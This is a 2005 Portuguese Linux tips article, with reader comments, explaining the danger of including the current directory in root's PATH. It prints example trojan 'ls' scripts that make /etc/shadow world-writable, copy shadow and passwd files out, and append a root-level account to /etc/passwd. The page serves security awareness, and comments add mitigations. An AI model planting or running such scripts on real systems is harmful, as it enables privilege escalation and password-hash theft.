Vulnerabilidade na variável PATH

Publicado por Simon em 02/06/2005

[ Hits: 9.273 ]

 


Vulnerabilidade na variável PATH



Para quem não sabe, a variável de ambiente PATH é a variável que armazena os diretórios onde ficam os arquivos executáveis para o seu usuário, para que você possa dar um ldconfig em lugar de /sbin/ldconfig, ou seja, te permite suprimir o endereço do arquivo.

A vulnerabilidade está na comodidade, sim, isso mesmo, vamos ao exemplo:

"Você é uma pessoa que costuma instalar muitos programas a partir do source code e está cansado de ter de dar ./configure, ./nomedoprograma e coisas afins, então, vai e põe um '.' (ponto) na sua variável PATH, ou seja, agora, sempre que estiver em um diretório, ele estará no seu PATH, pois o ponto equivale ao diretório corrente."

Isso parece muito cômodo, não? Porém, se o root, por exemplo, tiver esse ponto em seu PATH, as coisas complicam... vamos ver o por quê:

Um usuário inescrupuloso vai em /tmp, diretório onde todos têm permissão de escrita e faz um script simples... chamado "ls" por exemplo, e coloca os seguintes comandos:

#!/bin/sh
ls
chmod 777 /etc/shadow > /dev/null

Você viu? O script "ls" vai dar um ls e vai tentar mudar a permissão de /etc/shadow para 777, enviando qualquer saída de erro para /dev/null, assim, o processo foi invisível para o usuário e como um binário no diretório corrente tem maior precedência do que os outros de mesmo nome... seu sistema ficou beeeem vulnerável! Mas é claro que o trabalho pode ser melhorado:

#!/bin/bash
ls
chmod 777 /etc/shadow > /dev/null
chmod 777 passwd > /dev/null
cp /etc/shadow /home/user/.shadow > /dev/null
cp /etc/passwd /home/user/.passwd > /dev/null
echo "user:0:0:::/bin/sh" >> /etc/passwd > /bin/null

Dentre outras coisas, então, cuidado com o ponto, pois ele pode ser o fim de sua rede!

Espero, por meio desta, ter ajudado a manter sua rede mais segura :D

sonnescheinmann@gmail.com

Outras dicas deste autor

Kahakai window manager

K-Jofol e XMMS

Leitura recomendada

Proteger servidor de execução maliciosa

Liberar mais um usuário para acesso administrativo no Endian Firewall

Vídeo da palestra Análise de Malwares com Software Livre

Web Application Security com CAL9000

Melhorando a segurança do Linux

  

Comentários
[1] Comentário enviado por fabio em 02/06/2005 - 03:31h

Ótima dica, meus parabéns!

[2] Comentário enviado por agk em 02/06/2005 - 14:47h

Nossa realmente interessante essa dica. Sempre dou preferência a segurança ao invés da comodidade.
Parabéns pela dica.
[ ]'s.

[3] Comentário enviado por knowlink em 04/06/2005 - 10:40h

Tá até aí tudo bem, realmente o perigo existe e é comum isto ocorrer, porém podemos controlar isto sem deixar o root com um '.' na $PATH. Segue exemplo:

if [ "`id -u`" != "0" ]; then
PATH=$PATH:.
fi

Assim somente usuarios sem o UID 0 ganharão o diretório corrente incluso no PATH

[4] Comentário enviado por knowlink em 04/06/2005 - 10:41h

tá eu sei, esqueci do export PATH :)

[5] Comentário enviado por hra em 04/06/2005 - 14:54h

Parabéns Simon,

É esse tipo de informação que tem feito do linux um sistema mais seguro que o "aquele" concorrente das janelas.

A sua idéia é interessante e pode realmente compromoter um computador, mas só complementando:

A sequencia de procura dos diretório dentro da variável PATH é do primeiro pro ultimo, sendo que o executável estando no primeiro diretório o segundo nem será consultado, veja o exemplo:

export PATH=/bin:/sbin:/usr/bin:/usr/sbin:.

No caso do "ls" estando em /bin ele nunca será executado na pasta atual mesmo existindo.

Já se o PATH estiver com o ponto no começo aí é um abraço.

Tomar o root não é assim tão simples, mas é bom ficar atento.

Se eu estiver errado me perdoem e me corrijam por favor.





Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts